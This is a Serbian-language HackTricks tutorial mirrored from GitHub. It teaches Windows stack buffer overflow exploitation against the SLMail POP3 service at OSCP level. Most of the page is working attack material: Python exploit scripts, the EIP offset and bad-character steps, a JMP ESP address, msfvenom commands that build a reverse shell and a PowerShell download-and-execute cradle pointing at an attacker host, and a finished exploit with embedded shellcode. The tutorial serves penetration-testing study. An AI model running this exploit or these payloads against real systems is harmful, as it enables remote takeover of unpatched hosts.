mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
290 lines
11 KiB
Markdown
290 lines
11 KiB
Markdown
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# Windows Exploiting (Osnovni vodič - OSCP nivo)
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Drugi načini podrške HackTricks-u:
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* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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## **Počnite instaliranjem SLMail servisa**
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## Restartujte SLMail servis
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Svaki put kada trebate **restartovati SLMail servis**, to možete uraditi koristeći Windows konzolu:
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```
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net start slmail
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```
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 (1).png>)
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## Veoma osnovni Python šablon za eksploataciju
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```python
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#!/usr/bin/env python3
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import socket
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# Definišite ciljnu IP adresu i port
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target_ip = "192.168.1.100"
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target_port = 1337
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# Kreirajte TCP soket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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# Povežite se sa ciljnom IP adresom i portom
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s.connect((target_ip, target_port))
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# Pošaljite eksploatacijski kod ciljnom sistemu
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payload = b"AAAAAABBBBBBCCCCC"
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s.send(payload)
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# Zatvorite soket
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s.close()
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```
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Ovaj Python šablon predstavlja veoma osnovnu strukturu za izradu eksploatacijskog koda. Prvo definišemo ciljnu IP adresu i port, zatim kreiramo TCP soket i povezujemo se sa ciljnim sistemom. Nakon toga, šaljemo eksploatacijski kod ciljnom sistemu i zatvaramo soket.
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Napomena: Ovaj šablon je veoma osnovan i treba ga prilagoditi specifičnostima ciljnog sistema i eksploatacijske tehnike koju želite da primenite.
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```python
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#!/usr/bin/python
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import socket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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ip = '10.11.25.153'
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port = 110
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buffer = 'A' * 2700
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try:
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print "\nLaunching exploit..."
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s.connect((ip, port))
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data = s.recv(1024)
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s.send('USER username' +'\r\n')
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data = s.recv(1024)
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s.send('PASS ' + buffer + '\r\n')
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print "\nFinished!."
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except:
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print "Could not connect to "+ip+":"+port
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```
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## **Promena fonta u Immunity Debugger-u**
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Idite na `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
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## **Povezivanje procesa sa Immunity Debugger-om:**
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**File --> Attach**
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 (1) (1).png>)
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**I pritisnite dugme START**
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## **Slanje exploit-a i provera da li je EIP pogođen:**
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 (1) (1).png>)
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Svaki put kada prekinete servis, trebali biste ga ponovo pokrenuti, kako je naznačeno na početku ove stranice.
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## Kreiranje obrasca za modifikaciju EIP-a
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Obrazac treba biti veličine bafera koji ste prethodno koristili za prekid servisa.
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 (1) (1).png>)
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```
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/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
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```
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Promenite bafer eksploita i postavite šablon i pokrenite eksploit.
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Treba da se pojavi novi pad sistema, ali sa drugačijom EIP adresom:
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 (1) (1).png>)
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Proverite da li se adresa nalazi u vašem šablonu:
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 (1) (1).png>)
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```
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/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
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```
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Izgleda da **možemo izmeniti EIP na offsetu 2606** bafera.
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Proverite to izmenom bafera eksploita:
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```
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buffer = 'A'*2606 + 'BBBB' + 'CCCC'
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```
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Sa ovim baferom, EIP bi trebao da se sruši i pokazuje na 42424242 ("BBBB")
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 (1) (1).png>)
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 (1) (1).png>)
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Izgleda da radi.
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## Provera za Shellcode prostor unutar steka
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600B bi trebalo da bude dovoljno za bilo koji moćan shellcode.
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Hajde da promenimo bafer:
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```
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buffer = 'A'*2606 + 'BBBB' + 'C'*600
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```
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Pokrenite novi exploit i proverite EBP i dužinu korisnog shell koda.
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 (1).png>)
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 (1).png>)
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Možete videti da kada se dostigne ranjivost, EBP pokazuje na shell kod i da imamo puno prostora da lociramo shell kod ovde.
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U ovom slučaju imamo **od 0x0209A128 do 0x0209A2D6 = 430B.** Dovoljno.
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## Provera loših karaktera
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Ponovo promenite bafer:
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```
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badchars = (
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"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
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"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
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"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
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"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
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"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
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"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
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"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
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"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
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"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
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"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
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"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
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"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
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"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
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"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
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"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
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"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
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)
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buffer = 'A'*2606 + 'BBBB' + badchars
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```
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Loši karakteri počinju od 0x01 jer je 0x00 gotovo uvek loš.
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Izvršite ponovno eksploataciju sa ovim novim baferom izbacujući karaktere koji su se pokazali beskorisnim:.
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Na primer:
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U ovom slučaju možete videti da **ne biste trebali koristiti karakter 0x0A** (ništa nije sačuvano u memoriji od karaktera 0x09).
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 (1).png>)
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U ovom slučaju možete videti da **se karakter 0x0D izbegava**:
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 (1).png>)
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## Pronalaženje JMP ESP kao povratne adrese
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Koristeći:
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```
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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```
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**Prikazaćete mape memorije**. Potražite neki DLL koji ima:
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* **Rebase: False**
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* **SafeSEH: False**
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* **ASLR: False**
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* **NXCompat: False**
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* **OS Dll: True**
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 (1).png>)
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Sada, unutar ove memorije trebali biste pronaći neke bajtove JMP ESP, da biste to uradili izvršite:
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```
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!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
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!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
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```
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**Zatim, ako se pronađe neka adresa, odaberite onu koja ne sadrži nijedan loš karakter:**
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 (1).png>)
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**U ovom slučaju, na primer: \_0x5f4a358f**\_
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## Kreirajte shellcode
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```
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msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
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msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
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```
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Ako eksploit ne radi, iako bi trebao (možete videti sa ImDebg da je shellcode dostignut), pokušajte da kreirate druge shellcode-ove (msfvenom će kreirati različite shellcode-ove za iste parametre).
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**Dodajte nekoliko NOPS-a na početak** shellcode-a i koristite ga i povratnu adresu za JMP ESP, i završite eksploit:
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```bash
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#!/usr/bin/python
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import socket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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ip = '10.11.25.153'
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port = 110
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shellcode = (
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"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
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"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
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"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
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"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
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"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
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"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
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"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
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"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
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"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
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"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
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"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
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"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
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"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
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"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
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"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
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"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
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"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
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"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
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"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
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"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
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"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
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"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
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"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
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"\x2d\xb8\x63\xe2\x4e\xe9"
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)
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buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
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try:
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print "\nLaunching exploit..."
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s.connect((ip, port))
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data = s.recv(1024)
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s.send('USER username' +'\r\n')
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data = s.recv(1024)
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s.send('PASS ' + buffer + '\r\n')
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print "\nFinished!."
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except:
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print "Could not connect to "+ip+":"+port
|
||
|
|
```
|
||
|
|
{% hint style="warning" %}
|
||
|
|
Postoje shellkodovi koji će **prepisati sami sebe**, stoga je važno uvijek dodati nekoliko NOP naredbi prije shellkoda.
|
||
|
|
{% endhint %}
|
||
|
|
|
||
|
|
## Poboljšanje shellkoda
|
||
|
|
|
||
|
|
Dodajte ove parametre:
|
||
|
|
```
|
||
|
|
EXITFUNC=thread -e x86/shikata_ga_nai
|
||
|
|
```
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
|
||
|
|
Drugi načini podrške HackTricks-u:
|
||
|
|
|
||
|
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
|
|
||
|
|
</details>
|